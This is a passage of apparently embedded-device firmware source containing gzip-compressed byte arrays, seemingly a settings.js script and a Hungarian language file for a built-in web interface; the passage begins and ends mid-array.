0x3f, 0x84, 0x56, 0xc7, 0x4f, 0x2b, 0x7d, 0xcc, 0xe5, 0x2a, 0x0e, 0xa9, 0xc8, 0xb7, 0xdb, 0x95, 0xf1, 0x4a, 0x5e, 0xd7, 0x03, 0x96, 0xb6, 0x15, 0xdb, 0x21, 0xfb, 0xa3, 0x83, 0xcf, 0xc5, 0xd9, 0x01, 0xf1, 0x0f, 0x20, 0x2f, 0xaa, 0xc8, 0x66, 0x46, 0x4e, 0x3a, 0xb4, 0xe2, 0x1c, 0x49, 0xf2, 0xbc, 0x6a, 0xe8, 0x4e, 0x3a, 0x94, 0x6a, 0x59, 0xb1, 0x20, 0x42, 0x49, 0xdb, 0x16, 0xc9, 0xae, 0x47, 0x9d, 0x62, 0xe7, 0x13, 0x31, 0x9f, 0x5f, 0x78, 0x64, 0x9a, 0xab, 0x64, 0xba, 0x47, 0xb3, 0xe3, 0x58, 0x68, 0xae, 0xc7, 0xc9, 0x39, 0x87, 0xee, 0xc9, 0x77, 0xfc, 0x1e, 0x72, 0x9e, 0xc0, 0x9b, 0x9d, 0xf9, 0x42, 0xe2, 0xaf, 0x55, 0x6e, 0x56, 0x41, 0xf0, 0x9d, 0x72, 0x68, 0xe6, 0x4f, 0x74, 0xe7, 0x73, 0x3b, 0x83, 0xbc, 0xab, 0xc1, 0x2c, 0xe5, 0x66, 0x35, 0xfd, 0x12, 0x42, 0xae, 0xbd, 0x57, 0x28, 0x8b, 0x25, 0x4e, 0x6b, 0x56, 0xfa, 0x65, 0x01, 0x8d, 0x9f, 0xe0, 0xe6, 0x29, 0xa9, 0x03, 0xe9, 0x16, 0x3c, 0x9b, 0xf7, 0x72, 0x25, 0xbc, 0xee, 0x55, 0x69, 0xd4, 0x18, 0x7f, 0x0a, 0x53, 0x7c, 0xb9, 0x57, 0xf5, 0xd2, 0x9c, 0x61, 0x52, 0x56, 0x10, 0x46, 0x40, 0xa0, 0x5e, 0x6e, 0x56, 0x59, 0x8e, 0x6b, 0xba, 0xcd, 0xcd, 0x9c, 0x93, 0xc3, 0xec, 0xcc, 0x43, 0x55, 0x95, 0xbc, 0x7a, 0x08, 0xe5, 0x23, 0x40, 0x21, 0x2e, 0xea, 0xb5, 0x1e, 0x75, 0xd9, 0x71, 0xd7, 0xda, 0x65, 0x09, 0x57, 0x93, 0xd7, 0x0a, 0xe6, 0xf4, 0x6b, 0x0c, 0xdd, 0x41, 0x57, 0xd5, 0x2b, 0x2d, 0xf8, 0xb0, 0x5a, 0x06, 0x7e, 0xb3, 0x19, 0xd7, 0x6a, 0xb0, 0x5e, 0xe2, 0xf3, 0xd1, 0x33, 0x3e, 0xaf, 0xb7, 0x54, 0x65, 0xec, 0x82, 0x99, 0xe6, 0x7e, 0xfe, 0x8f, 0x52, 0xdc, 0xea, 0xe4, 0xfb, 0x97, 0xc4, 0x5b, 0x9d, 0x12, 0x77, 0x47, 0x45, 0x4e, 0xa3, 0x4b, 0x90, 0xc1, 0x2a, 0x4f, 0x4a, 0x4f, 0xf2, 0x76, 0xfe, 0x4d, 0xb9, 0x5b, 0x3d, 0x0a, 0x82, 0x24, 0xf3, 0xd5, 0xf3, 0xf3, 0x7d, 0x4c, 0x53, 0x2f, 0x55, 0xdf, 0x73, 0x8a, 0x64, 0xe2, 0x2f, 0xfb, 0x69, 0x50, 0xf1, 0x2b, 0xbe, 0xd6, 0x82, 0xbe, 0x3a, 0x6f, 0x36, 0x30, 0x37, 0x8d, 0x9b, 0x4d, 0x6c, 0xae, 0xfe, 0xc2, 0x59, 0xf9, 0x9d, 0xe6, 0x45, 0xd6, 0x8f, 0x5e, 0x6d, 0xbd, 0xda, 0x28, 0xd5, 0x9b, 0x5e, 0x7d, 0x7c, 0xad, 0x1f, 0x18, 0x8e, 0x2b, 0x0c, 0xcd, 0x41, 0xc7, 0xff, 0x01, 0xc6, 0xcf, 0x76, 0xdd, 0xa1, 0x28, 0x00, 0x00};\nconst char settingsjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2e, 0x6a, 0x73, 0x00, 0x95, 0x55, 0xdb, 0x4e, 0xdb, 0x40, 0x10, 0x7d, 0xb6, 0xbf, 0x62, 0xea, 0x17, 0xdb, 0x40, 0x6d, 0x95, 0x07, 0x54, 0x85, 0x38, 0x48, 0xad, 0x8a, 0x0a, 0x0a, 0x50, 0x09, 0xde, 0x0a, 0x42, 0x1b, 0x7b, 0x12, 0xbb, 0x38, 0xbb, 0xd6, 0xee, 0x3a, 0x17, 0xa1, 0xfc, 0x7b, 0x67, 0xd7, 0x21, 0xd8, 0x21, 0xdc, 0xa4, 0x28, 0xb2, 0x77, 0x66, 0xcf, 0x9c, 0x73, 0x76, 0x67, 0x1c, 0xef, 0xc1, 0x4d, 0x5e, 0x28, 0x50, 0x62, 0xac, 0xe7, 0x4c, 0x22, 0xd0, 0x73, 0x59, 0xa4, 0xc8, 0x15, 0x66, 0x50, 0xf3, 0x0c, 0x25, 0xe8, 0x1c, 0xe1, 0xe2, 0xec, 0x06, 0x86, 0xcd, 0x72, 0x0f, 0x72, 0xad, 0x2b, 0xd5, 0x8b, 0xe3, 0x49, 0xa1, 0xf3, 0x7a, 0x14, 0xa5, 0x62, 0x1a, 0xab, 0x8a, 0xa5, 0x98, 0xd7, 0x39, 0xd7, 0x98, 0xe6, 0x31, 0xaa, 0xea, 0xfb, 0xe1, 0xd1, 0xd1, 0x7d, 0x86, 0xac, 0xa6, 0xdd, 0x12, 0xf6, 0x62, 0xd7, 0x9d, 0x31, 0x09, 0x0a, 0xb5, 0x2e, 0xf8, 0x44, 0x9d, 0x2b, 0xc1, 0x21, 0x81, 0xc7, 0xd5, 0xb1, 0xeb, 0x8e, 0x6b, 0x9e, 0xea, 0x82, 0xde, 0x4b, 0xc1, 0xb2, 0x20, 0x84, 0x47, 0xd7, 0x99, 0xa0, 0x3e, 0x2d, 0x4a, 0x0c, 0xbc, 0xa7, 0xfc, 0xe8, 0x1f, 0x6d, 0xf0, 0x0e, 0x60, 0x93, 0x1b, 0x48, 0x54, 0x36, 0xd5, 0xd9, 0x82, 0x3c, 0xbf, 0xbe, 0xba, 0x8c, 0x2a, 0x26, 0x15, 0xda, 0x94, 0x63, 0x93, 0x91, 0x8b, 0xf9, 0x05, 0x2a, 0xc5, 0x26, 0x84, 0x98, 0x0a, 0xce, 0x31, 0xd5, 0x98, 0x79, 0x36, 0x96, 0x49, 0x36, 0x0f, 0xcc, 0xd3, 0x8a, 0xfe, 0x56, 0x2d, 0x32, 0x4d, 0xc0, 0x54, 0x30, 0xbc, 0x73, 0x3d, 0x2d, 0x09, 0xdc, 0xf3, 0x28, 0x73, 0x2c, 0x24, 0x04, 0x66, 0xf1, 0x01, 0x97, 0x50, 0xf0, 0x8e, 0xa6, 0x86, 0x92, 0x09, 0x24, 0x80, 0x2a, 0x0d, 0xe8, 0xc9, 0x96, 0x29, 0xc6, 0x10, 0xb4, 0xf3, 0xa2, 0x9c, 0xa9, 0xab, 0x39, 0xff, 0x23, 0x45, 0x85, 0x52, 0x2f, 0x6d, 0x5e, 0xb3, 0xd7, 0xb1, 0xa5, 0xf6, 0xa9, 0x56, 0x3f, 0x2b, 0x66, 0x90, 0x96, 0x4c, 0xa9, 0xc4, 0x97, 0x62, 0xee, 0x0f, 0x3c, 0x13, 0x76, 0xf6, 0xbb, 0x91, 0x54, 0x94, 0x5f, 0x8f, 0xda, 0xb1, 0x92, 0x8d, 0xb0, 0x7c, 0x8a, 0xae, 0x6b, 0x5e, 0xb2, 0x29, 0x82, 0x07, 0xfb, 0x10, 0xe8, 0x65, 0x85, 0x62, 0xdc, 0xe1, 0xfc, 0x97, 0x8a, 0xdf, 0x41, 0x42, 0x15, 0x47, 0x42, 0x94, 0xc8, 0xb8, 0x07, 0x27, 0xe0, 0x59, 0x98, 0xd3, 0x62, 0xe1, 0x41, 0x8f, 0x64, 0x87, 0xb4, 0xd7, 0xf3, 0x81, 0xa4, 0x27, 0xbe, 0xc1, 0x31, 0x0a, 0xcd, 0xca, 0xa0, 0xf5, 0xd2, 0xeb, 0xc7, 0x76, 0x53, 0x8b, 0x4b, 0x4c, 0x44, 0xdf, 0xa6, 0x4d, 0xe7, 0xef, 0x34, 0xf6, 0x7c, 0x88, 0xd9, 0xda, 0xa3, 0x96, 0x49, 0x1d, 0xb9, 0x69, 0x8e, 0xe9, 0xc3, 0x0f, 0xb1, 0xf8, 0x29, 0xb8, 0x66, 0x05, 0x47, 0xe9, 0x0f, 0xfa, 0x05, 0xaf, 0x6a, 0x0d, 0x06, 0x7d, 0x1d, 0x1f, 0x89, 0x85, 0x0f, 0x9c, 0x1c, 0xe9, 0x4a, 0x69, 0xfc, 0x79, 0x59, 0x9e, 0xbc, 0xb0, 0xdb, 0xe8, 0xc6, 0x3c, 0x5b, 0x01, 0x82, 0xa7, 0x39, 0xe3, 0x13, 0xc2, 0x50, 0x6c, 0x86, 0xc1, 0xad, 0xd7, 0x82, 0xba, 0xf5, 0x0e, 0xbe, 0x74, 0x70, 0xb6, 0xa2, 0x77, 0x21, 0xd1, 0xa2, 0x86, 0xe1, 0x1d, 0xda, 0x53, 0x26, 0x1f, 0x68, 0xdd, 0x74, 0x12, 0x1f, 0x6c, 0xac, 0x34, 0x97, 0xc7, 0x59, 0x01, 0x96, 0x8a, 0x3a, 0xf3, 0x3d, 0x97, 0x78, 0x3d, 0x1d, 0xa1, 0xdc, 0x61, 0x52, 0xdb, 0x83, 0x26, 0x69, 0xa7, 0x03, 0x33, 0x56, 0xd6, 0x98, 0x98, 0xa5, 0x97, 0xf8, 0x1f, 0x10, 0x6d, 0xbb, 0xee, 0x8c, 0xeb, 0x40, 0xd3, 0x40, 0x89, 0x2c, 0x58, 0x18, 0xfa, 0x9f, 0xd4, 0xa0, 0xb4, 0xa4, 0xc5, 0x77, 0x34, 0x68, 0x5c, 0xe8, 0x37, 0x14, 0xf8, 0x3b, 0x25, 0x44, 0x5a, 0x5c, 0x5b, 0xf0, 0x20, 0x6c, 0x1d, 0xb8, 0xed, 0x55, 0xc2, 0x9f, 0xa1, 0x54, 0xd4, 0xf7, 0xf6, 0xee, 0x4b, 0x64, 0x99, 0xe0, 0xe5, 0xf2, 0x13, 0x07, 0xde, 0x92, 0xbc, 0x51, 0xec, 0x76, 0xdb, 0x79, 0xab, 0x19, 0x5e, 0xef, 0x8d, 0xb7, 0x9b, 0xfd, 0xdb, 0x61, 0x3b, 0x58, 0xd9, 0x0e, 0x2c, 0x89, 0xd9, 0x66, 0x58, 0xde, 0xaf, 0x99, 0x59, 0xde, 0xfd, 0xb8, 0x6a, 0x65, 0xe7, 0xf2, 0x75, 0x02, 0xcd, 0xab, 0x61, 0xbe, 0x72, 0xcd, 0x8f, 0x66, 0xf0, 0xaf, 0xe7, 0x01, 0x3c, 0x2c, 0x94, 0xf6, 0xc2, 0xa8, 0xa0, 0xe1, 0x29, 0x7f, 0xdf, 0x5c, 0x0c, 0x69, 0xbe, 0x19, 0x65, 0xdd, 0x99, 0x69, 0x9d, 0xa1, 0xca, 0x07, 0xcd, 0x39, 0xd8, 0x33, 0x34, 0x07, 0x6e, 0xc9, 0x6c, 0xcf, 0xea, 0xf5, 0x91, 0x37, 0xa9, 0xa6, 0xec, 0x66, 0xe8, 0xcb, 0x9a, 0x9f, 0xa4, 0xd3, 0x2c, 0xa1, 0x6c, 0x68, 0xb9, 0x0c, 0x8d, 0xe7, 0x36, 0xbf, 0x71, 0xdd, 0x8e, 0xf0, 0xf5, 0xc5, 0x7a, 0xdc, 0x89, 0x40, 0x84, 0x36, 0x17, 0x61, 0xf7, 0xe7, 0xc3, 0x69, 0xbe, 0x3a, 0x56, 0xb7, 0x85, 0x73, 0x57, 0xff, 0x01, 0xb6, 0x24, 0x35, 0x7a, 0x13, 0x07, 0x00, 0x00};\nconst char hulang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x68, 0x75, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x5a, 0xcd, 0x6f, 0x1b, 0xc7, 0x15, 0x3f, 0x37, 0x7f, 0xc5, 0x44, 0x27, 0x1b, 0x10, 0x15, 0xc9, 0x69, 0x82, 0x34, 0x40, 0x0f, 0xb2, 0x4d, 0xc5, 0xaa, 0x3f, 0x22, 0x98, 0x4a, 0xda, 0x06, 0x06, 0x84, 0x21, 0x77, 0x48, 0x0e, 0x77, 0x76, 0x86, 0x9d, 0x1d, 0x52, 0xd1, 0x16, 0x3d, 0xe4, 0xd8, 0xa3, 0x51, 0xa0, 0x87, 0xde, 0x78, 0xd4, 0xc1, 0x87, 0x40, 0x80, 0x0f, 0x86, 0x6f, 0x0b, 0xfd, 0x5f, 0xfd, 0xbd, 0x37, 0xfb, 0x49, 0x31, 0xb6, 0x51, 0x34, 0x07, 0xdb, 0xdc, 0x9d, 0x8f, 0xf7, 0xf9, 0x7b, 0xbf, 0xf7, 0x36, 0x7f, 0xff, 0x4c, 0xe0, 0xbf, 0x3d, 0x23, 0xed, 0x6c, 0xef, 0x5b, 0xb1, 0x37, 0x5f, 0xed, 0xed, 0xc7, 0x27, 0x97, 0xd2, 0x5b, 0x1d, 0x1f, 0x9e, 0x9c, 0x7e, 0xf7, 0xd7, 0xe1, 0xb3, 0xe7, 0xc3, 0x9f, 0xce, 0x87, 0xe7, 0xe5, 0x3f, 0x47, 0xf5, 0x8a, 0x44, 0xe7, 0x13, 0x23, 0x75, 0xa6, 0x3c, 0x2d, 0x1a, 0x16, 0x42, 0x8a, 0xa5, 0x77, 0x0b, 0x95, 0x06, 0xa1, 0x66, 0x57, 0x22, 0x75, 0x76, 0xa2, 0x96, 0x13, 0x5d, 0xde, 0x88, 0xb1, 0x2e, 0x9c, 0xbd, 0x2a, 0xdf, 0x84, 0x72, 0x93, 0x4b, 0x11, 0x54, 0x5e, 0x04, 0x65, 0xca, 0xeb, 0x7c, 0x5f, 0xe0, 0x0f, 0x11, 0xa4, 0x5d, 0x99, 0xac, 0xdc, 0xd8, 0x2b, 0x57, 0x60, 0x01, 0x9e, 0xf9, 0x44, 0xa5, 0xe5, 0xf5, 0x58, 0xd9, 0x83, 0x57, 0x76, 0xa4, 0x32, 0x21, 0x0b, 0x31, 0x1c, 0x9d, 0x7d, 0xf3, 0xe0, 0xeb, 0xaf, 0x07, 0x2e, 0xec, 0x8b, 0x9c, 0x1e, 0x59, 0x2b, 0x53, 0x31, 0x7a, 0xfc, 0x74, 0xb0, 0x28, 0x37, 0x41, 0x58, 0x3c, 0xca, 0xb1, 0xdb, 0xe2, 0x8a, 0x74, 0x5f, 0xac, 0x25, 0x04, 0x28, 0xaf, 0x97, 0xb8, 0x52, 0x85, 0x50, 0x5e, 0xa7, 0x42, 0x9b, 0x2b, 0x65, 0xc5, 0xa4, 0xbc, 0x36, 0x2e, 0xf5, 0xf2, 0x40, 0x3c, 0xd1, 0x63, 0xac, 0x14, 0xca, 0xdc, 0xbe, 0x9e, 0x3a, 0x9f, 0xac, 0xcc, 0x5c, 0x06, 0x9c, 0xf8, 0xf9, 0x2b, 0xfb, 0xca, 0x3e, 0xca, 0x71, 0xb4, 0x14, 0xb9, 0xe4, 0xa3, 0xe7, 0xe5, 0xc6, 0x94, 0x37, 0x85, 0x0c, 0x32, 0x8a, 0x0b, 0xe9, 0xd3, 0xf2, 0x6d, 0xa1, 0x34, 0x36, 0x1b, 0x9c, 0x39, 0x97, 0x79, 0x61, 0xb1, 0x66, 0x21, 0x79, 0xf3, 0x71, 0x63, 0x84, 0xb5, 0xc4, 0xbe, 0x44, 0x8b, 0x3f, 0xeb, 0xc1, 0x89, 0x16, 0x53, 0x2f, 0x33, 0x35, 0x50, 0xa9, 0x0a, 0xcd, 0x0e, 0xd2, 0xeb, 0x74, 0x38, 0x1c, 0x8a, 0x6f, 0x0e, 0x1f, 0x1c, 0x1c, 0x1d, 0x41, 0x01, 0x39, 0x5e, 0x93, 0x1d, 0xc6, 0xd2, 0x0a, 0xa3, 0xca, 0x37, 0x3e, 0x90, 0x20, 0x46, 0x2e, 0x21, 0x88, 0x8d, 0xb7, 0x93, 0xa2, 0x63, 0xe8, 0x90, 0x3a, 0x53, 0xa9, 0x59, 0xc8, 0xb5, 0xf4, 0x64, 0x93, 0x2c, 0xea, 0x38, 0xf5, 0x2a, 0x5d, 0x2b, 0x0b, 0xc3, 0x6f, 0x02, 0xec, 0xf7, 0x14, 0xe6, 0xc4, 0x1e, 0x96, 0xf5, 0xf6, 0xb5, 0xd7, 0x45, 0xa1, 0xe8, 0x5e, 0xe7, 0xc9, 0x5c, 0xb3, 0x72, 0xe3, 0xa5, 0x58, 0x3b, 0x2b, 0x43, 0x0a, 0xe3, 0xdf, 0x88, 0x85, 0x9b, 0x69, 0x96, 0x03, 0xe2, 0x45, 0x77, 0xb8, 0x54, 0x06, 0x18, 0xa3, 0x96, 0x19, 0x3f, 0xc8, 0x66, 0x21, 0xb0, 0xb2, 0x2f, 0x94, 0x98, 0xeb, 0x35, 0x6f, 0x86, 0x87, 0xdb, 0x00, 0xf0, 0x4a, 0x64, 0xda, 0x06, 0xf1, 0x6a, 0x6f, 0xa1, 0x0c, 0x0b, 0x58, 0xde, 0xbc, 0xda, 0xdb, 0xa7, 0x8b, 0xe1, 0xf9, 0x85, 0xca, 0x21, 0x27, 0xac, 0xb3, 0xc1, 0xf9, 0x08, 0x08, 0x79, 0xc7, 0x64, 0xe4, 0x27, 0x32, 0x3e, 0x2e, 0x79, 0x22, 0x45, 0x56, 0x5e, 0xcf, 0x74, 0xce, 0xbb, 0x27, 0xec, 0x9a, 0x22, 0xb4, 0x21, 0xb5, 0x80, 0x5b, 0xe6, 0x0e, 0x76, 0x60, 0x0b, 0x04, 0x0e, 0x0e, 0xa8, 0x4c, 0x7e, 0x17, 0x72, 0x3c, 0x2e, 0x6f, 0x60, 0x27, 0x49, 0x2f, 0x54, 0x37, 0x40, 0x11, 0x5e, 0xcb, 0xb5, 0xce, 0x95, 0x81, 0x85, 0xce, 0x25, 0xec, 0x6c, 0x5c, 0x26, 0xc8, 0xad, 0x45, 0x79, 0x8d, 0x78, 0x81, 0x90, 0xb0, 0x92, 0xc8, 0xd4, 0x6c, 0x8a, 0x7f, 0x41, 0x5f, 0x91, 0xc1, 0xd4, 0xd0, 0x62, 0x83, 0x38, 0x10, 0x16, 0xd2, 0xa5, 0xe5, 0x7b, 0x3a, 0x18, 0x92, 0x64, 0xab, 0x20, 0x5b, 0x29, 0xa2, 0x80, 0x02, 0x46, 0x0b, 0x9a, 0x82, 0x11, 0xf6, 0x23, 0x69, 0xf0, 0x16, 0xee, 0xc4, 0xc6, 0x75, 0xfc, 0x05, 0x57, 0x7e, 0xc1, 0xde, 0x5b, 0x96, 0xd7, 0xb6, 0xa0, 0x67, 0xd8, 0xa9, 0x63, 0x18, 0xb5, 0x8e, 0x0e, 0x9a, 0x33, 0x45, 0x53, 0x30, 0x16, 0xe4, 0xc1, 0x4c, 0x8b, 0xb0, 0x32, 0x72, 0x91, 0x38, 0x8b, 0x43, 0xc8, 0x32, 0x6f, 0x67, 0xe5, 0xdb, 0x10, 0x94, 0xc0, 0x4e, 0x98, 0x8e, 0x55, 0x28, 0xdf, 0xe6, 0x39, 0x2c, 0xa6, 0x02, 0x05, 0x88, 0x91, 0xec, 0x08, 0x72, 0xa0, 0x9f, 0x38, 0xfa, 0xc7, 0xc2, 0x8d, 0xc7, 0x88, 0xc9, 0x13, 0xdd, 0xc6, 0x1b, 0xdd, 0x7f, 0x40, 0xfe, 0x3c, 0x77, 0xf8, 0x3d, 0x1e, 0x6b, 0xa1, 0x2d, 0xb2, 0x02, 0x39, 0x49, 0xe9, 0xcb, 0xd2, 0xc1, 0x59, 0xc1, 0xcd, 0x64, 0x9e, 0xc3, 0xcd, 0x8a, 0x23, 0x97, 0xfc, 0x47, 0x4b, 0x9d, 0x49, 0xa4, 0xf1, 0xf2, 0x5b, 0xc0, 0xc2, 0xef, 0x3a, 0x98, 0x30, 0x18, 0xaf, 0x42, 0x70, 0x96, 0xa1, 0xc1, 0x38, 0xb3, 0x96, 0x79, 0x90, 0x59, 0x54, 0x0d, 0x66, 0xad, 0x3c, 0x44, 0x89, 0x2c, 0xa6, 0xca, 0x06, 0xe4, 0x87, 0x9e, 0x5d, 0x29, 0x93, 0x29, 0x28, 0x0c, 0x07, 0xe4, 0x81, 0x8f, 0xf3, 0xca, 0x38, 0x99, 0xd0, 0x19, 0xe5, 0x7f, 0x16, 0x5e, 0x86, 0xf2, 0xad, 0xa1, 0x97, 0xfc, 0x2e, 0x9f, 0x48, 0x3e, 0x7d, 0x54, 0xa4, 0xca, 0x5a, 0xc6, 0x93, 0xf8, 0x3c, 0xd7, 0x49, 0xce, 0x2f, 0x46, 0xa7, 0x8f, 0x07, 0x29, 0x3f, 0x83, 0x37, 0xe4, 0x24, 0xe5, 0xa7, 0xe7, 0xe5, 0x26, 0x93, 0x09, 0x3b, 0x26, 0x2e, 0x57, 0xe4, 0xa9, 0x19, 0xbf, 0x7b, 0xa8, 0xd8, 0x8c, 0x6f, 0x42, 0xfb, 0x9a, 0x0c, 0x41, 0xaf, 0x4e, 0x3b, 0x06, 0x69, 0x5e, 0x5c, 0xe4, 0xcb, 0x28, 0xc3, 0xe9, 0x8b, 0x93, 0xef, 0x5f, 0x3e, 0x2f, 0x7f, 0x79, 0x74, 0x5a, 0xfe, 0x0b, 0x3f, 0xf9, 0x4a, 0x63, 0x58, 0xee, 0x7f, 0x8f, 0x46, 0x3f, 0x0d, 0x47, 0xfc, 0x68, 0x32, 0x97, 0x24, 0x28, 0x3d, 0x06, 0xc4, 0x04, 0xe7, 0xad, 0x8c, 0x46, 0x53, 0x6b, 0x3d, 0x51, 0x2c, 0xc1, 0x73, 0xd8, 0x82, 0x22, 0x77, 0x18, 0x41, 0xa6, 0x7c, 0x5b, 0x0b, 0x69, 0xd4, 0x24, 0x5c, 0xf4, 0xcf, 0x14, 0x4f, 0xf5, 0x9a, 0x32, 0x12, 0x31, 0x42, 0xb8, 0x5a, 0x1d, 0xf5, 0x09, 0x4b, 0xe1, 0x72, 0x04, 0xe9, 0x8f, 0x3a, 0x47, 0x00, 0x20, 0xf7, 0x9b, 0xcd, 0xc0, 0x09, 0xb7, 0x56, 0xdb, 0x5b, 0x87, 0x30, 0xf9, 0x66, 0xed, 0x2a, 0xb3, 0xc4, 0x95, 0xf0, 0x65, 0xd0, 0xce, 0x5e, 0x90, 0x0f, 0x2e, 0x02, 0xdc, 0xcd, 0x1b, 0x7e, 0x31, 0xc8, 0x22, 0xac, 0x49, 0x95, 0x57, 0x88, 0xc0, 0x5c, 0x8b, 0xd3, 0xe4, 0xf6, 0x35, 0x6f, 0xb0, 0xea, 0xb2, 0xf2, 0x62, 0xdc, 0x2f, 0xd7, 0xaa, 0x56, 0xb7, 0xf6, 0x9b, 0x4c, 0xd8, 0xd1, 0x4f, 0x00, 0x25, 0xe5, 0x86, 0x3d, 0x54, 0x3f, 0xbe, 0x88, 0x3a, 0x29, 0x7e, 0xdf, 0x6a, 0xe2, 0x60, 0xa7, 0xe3, 0xb3, 0x41, 0x2a, 0x9e, 0x22, 0xf2, 0x2d, 0x83, 0x55, 0x94, 0x0e, 0x4a, 0xf8, 0x4b, 0xaf, 0x03, 0x5f, 0x71, 0x82, 0xc8, 0x78, 0x0f, 0xe1, 0x7d, 0x7d, 0x20, 0x89, 0x7b, 0x81, 0x9c, 0x50, 0x1e, 0xd9, 0xc1, 0xce, 0x83, 0x90, 0xf5, 0x6f, 0xb3, 0xca, 0xa2, 0xbc, 0xab, 0x6c, 0x1c, 0xeb, 0xda, 0x08, 0xe7, 0xc6, 0x67, 0x41, 0x7a, 0x24, 0x15, 0xbb, 0xe9, 0x11, 0x10, 0x60, 0x89, 0x1c, 0xac, 0x63, 0x88, 0xcc, 0x50, 0x47, 0xca, 0x40, 0x3c, 0x8d, 0xc9, 0x9f, 0x33, 0x22, 0x76, 0xc2, 0xd3, 0xab, 0x18, 0xff, 0x50, 0xc0, 0x2f, 0xe8, 0x65, 0x56, 0xbe, 0x99, 0x11, 0x58, 0x50, 0x81, 0x7a, 0x36, 0x7c, 0x1c, 0xb3, 0x4a, 0x2e, 0x2b, 0xc0, 0x17, 0xa9, 0x4e, 0xe5, 0x72, 0x92, 0x3b, 0x23, 0xee, 0x45, 0xa4, 0x47, 0xf8, 0x27, 0x80, 0x56, 0x32, 0x40, 0xb8, 0xbf, 0x0f, 0x4c, 0x5a, 0x24, 0x35, 0xd2, 0xf0, 0x65, 0x85, 0xe8, 0xa5, 0x89, 0x57, 0xc0, 0xcf, 0x81, 0x38, 0x16, 0x97, 0x6a, 0xac, 0x72, 0xe4, 0x19, 0x59, 0x42, 0xc5, 0x62, 0x69, 0x50, 0xc6, 0x04, 0x49, 0xe5, 0xe7, 0x2a, 0x00, 0xdf, 0x68, 0xef, 0x66, 0xcb, 0x7f, 0x22, 0x77, 0xbe, 0x29, 0x3c, 0xe5, 0x3b, 0x9c, 0x4c, 0xf0, 0x16, 0x8c, 0x04, 0xdc, 0x5b, 0x2d, 0x52, 0x20, 0x12, 0x5f, 0x50, 0x95, 0x18, 0x86, 0x3e, 0xaa, 0xfc, 0x93, 0xda, 0x3a, 0x41, 0x44, 0x5f, 0xe5, 0xc0, 0x6a, 0xac, 0x6c, 0xd3, 0xb3, 0x63, 0x2c, 0xe2, 0x0d, 0x85, 0xa0, 0x5c, 0x15, 0x46, 0x23, 0xae, 0x60, 0x8f, 0xb1, 0x92, 0x13, 0x57, 0x5d, 0xcb, 0x90, 0x3d, 0x56, 0x22, 0xb4, 0x69, 0xcb, 0xa5, 0x93, 0xe5, 0xaf, 0x8b, 0xd2, 0x5a, 0x1e, 0x90, 0x1c, 0x43, 0xdc, 0xcd, 0x07, 0x65, 0xf2, 0x67, 0x9d, 0xad, 0x32, 0xf1, 0xe5, 0x03, 0x98, 0xc7, 0xcb, 0x14, 0xbe, 0x05, 0x3a, 0x43, 0x8c, 0xf2, 0x1d, 0x36, 0x42, 0x61, 0x5e, 0x8e, 0xe2, 0x45, 0xe8, 0xbe, 0x08, 0x54, 0x8d, 0x08, 0xd3, 0x44, 0x15, 0x8e, 0x30, 0x71, 0x65, 0x55, 0x09, 0x35, 0x6b, 0xe9, 0x32, 0x54, 0x26, 0x97, 0xd7, 0x24, 0x66, 0x85, 0xbf, 0x2c, 0x1f, 0x73, 0x1c, 0xdf, 0x23, 0x0e, 0xd3, 0x36, 0x0e, 0xe3, 0xfb, 0xda, 0x23, 0xb5, 0x43, 0xc4, 0xcc, 0x65, 0x63, 0x58, 0x91, 0x2c, 0xd7, 0xb9, 0xe2, 0xa0, 0x32, 0x4d, 0x44, 0xa9, 0x8e, 0x6d, 0x9e, 0x91, 0xac, 0x8c, 0xe5, 0x79, 0x55, 0x5e, 0x64, 0x6b, 0x08, 0x82, 0xd1, 0x54, 0x15, 0x09, 0xce, 0x55, 0xd5, 0x75, 0xca, 0xac, 0x61, 0x16, 0x88, 0xa8, 0xb9, 0x04, 0x71, 0xec, 0x00, 0x67, 0x42, 0xf4, 0x52, 0xf4, 0x98, 0xa8, 0xd3, 0x07, 0x17, 0x93, 0xb1, 0x3b, 0xce, 0x92, 0x22, 0x51, 0x72, 0x15, 0xe6, 0xed, 0x1d, 0x73, 0x57, 0xb0, 0x8e, 0x48, 0x82, 0xf7, 0x69, 0x14, 0x84, 0x3d, 0x4c, 0x40, 0x1d, 0x81, 0x8a, 0x4d, 0xf3, 0x11, 0x97, 0xd5, 0xa7, 0x1c, 0x23, 0x44, 0x1c, 0x0a, 0x69, 0x4e, 0xe1, 0x48, 0xa7, 0x81, 0xab, 0x00, 0x84, 0xc8, 0xa4, 0xd7, 0xf8, 0x39, 0x47, 0x85, 0xfe, 0x40, 0x34, 0x57, 0xc6, 0xab, 0x8d, 0x55, 0xe3, 0x76, 0xc7, 0x5c, 0x2f, 0x70, 0x06, 0x95, 0x33, 0x48, 0xd3, 0xe2, 0x78, 0x0c, 0x5c, 0x6d, 0x93, 0xf8, 0x33, 0x08, 0x8d, 0xe2, 0x63, 0xaf, 0xb8, 0xf2, 0x6f, 0xa5, 0x6a, 0xe3, 0xfe, 0xca, 0xd8, 0x30, 0xf0, 0xec, 0xea, 0xf6, 0x75, 0x71, 0xfb, 0x3a, 0x59, 0x94, 0x6f, 0xb1, 0xc2, 0x7b, 0xa6, 0x13, 0x95, 0x27, 0x7a, 0x01, 0x01, 0x8b, 0x9b, 0x54, 0x9a, 0x4c, 0x16, 0x6b, 0x89, 0x18, 0x43, 0x69, 0x4b, 0x6b, 0x49, 0xb9, 0x52, 0xf4, 0xc9, 0xf2, 0x8f, 0xc4, 0xbb, 0x90, 0x48, 0x60, 0x8f, 0x7a, 0x2c, 0x41, 0x29, 0xa9, 0xe6, 0x59, 0xc1, 0xaa, 0xc2, 0x9b, 0x30, 0x5e, 0x4c, 0x37, 0x49, 0xa9, 0x3b, 0x57, 0xe0, 0x75, 0xa1, 0x62, 0x05, 0xe5, 0x35, 0x11, 0x38, 0x48, 0x46, 0x9c, 0xc0, 0x79, 0x87, 0x30, 0x70, 0x56, 0xa3, 0x96, 0x90, 0xfb, 0x42, 0x5d, 0xbe, 0xe9, 0xd4, 0x26, 0x8b, 0xbb, 0x7c, 0xba, 0x46, 0x6f, 0x1f, 0x2e, 0xf2, 0xe0, 0x96, 0x0c, 0x70, 0xe7, 0xc7, 0x2f, 0xcf, 0xc5, 0x17, 